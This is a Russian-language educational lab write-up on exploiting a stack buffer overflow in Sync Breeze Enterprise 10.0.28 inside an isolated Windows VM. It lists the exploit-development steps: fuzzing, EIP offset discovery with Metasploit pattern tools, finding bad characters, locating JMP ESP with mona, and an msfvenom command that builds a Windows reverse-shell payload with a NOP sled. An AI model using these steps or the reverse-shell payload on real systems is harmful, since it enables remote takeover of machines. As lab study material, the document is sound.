
Изучение классической уязвимости переполнения буфера на основе стека в контролируемой лабораторной среде в образовательных целях.
Изучение классической уязвимости переполнения буфера на стеке в контролируемой лабораторной среде в образовательных целях.
Цель проекта заключалась в том, чтобы лучше понять:
Первый шаг заключался в установке
Sync Breeze Enterprise 10.0.28
в виртуальной машине Windows 10, настроенной для исследования уязвимостей
и разработки эксплойтов.
Среда была изолирована для обеспечения безопасного и контролируемого тестирования.
Обе виртуальные машины (жертва и атакующий) были настроены с использованием режима Bridged Network Adapter, чтобы обеспечить прямое сетевое взаимодействие между системами в процессе эксплуатации.


Инструменты отладки были настроены для анализа поведения приложения во время выполнения и наблюдения за условиями сбоя.
Приложению отправлялись большие последовательности байтов, чтобы определить приблизительный размер буфера, необходимый для возникновения сбоя.
После определения порога сбоя приложение было протестировано снова с использованием найденного размера полезной нагрузки для подтверждения уязвимости.
Точное смещение, необходимое для перезаписи указателя инструкций (EIP), было определено.
Сгенерируйте уникальный паттерн:
/usr/bin/msf-pattern_create -l <SIZE>
Определите смещение:
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
Где:
<SIZE> = длина полезной нагрузки, обнаруженная во время фаззинга<EIP_VALUE> = 4-байтовое значение, наблюдаемое при перезаписи EIP
Были выявлены недопустимые символы, чтобы определить, какие байты не могут быть безопасно обработаны приложением.
Подходящая инструкция JMP ESP была найдена в модуле без включённого
ASLR.
Перечисление загруженных модулей:
!mona modules
Поиск JMP ESP:
!mona find -s "\xff\xe4" -m <MODULE_NAME>
Предпочтение отдавалось специфичным для приложения DLL-библиотекам из-за наличия статических адресов памяти.

Поток выполнения полезной нагрузки был проверен, чтобы обеспечить корректную переадресацию на управляемый буфер.
Шеллкод был сгенерирован без учёта ранее выявленных недопустимых символов.
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
Перед шеллкодом была добавлена NOP-горка (\x90) для повышения надёжности
выполнения полезной нагрузки.

Финальный эксплойт был собран и успешно протестирован в изолированной лабораторной среде.
Этот проект был разработан строго в образовательных и исследовательских целях в изолированной лабораторной среде.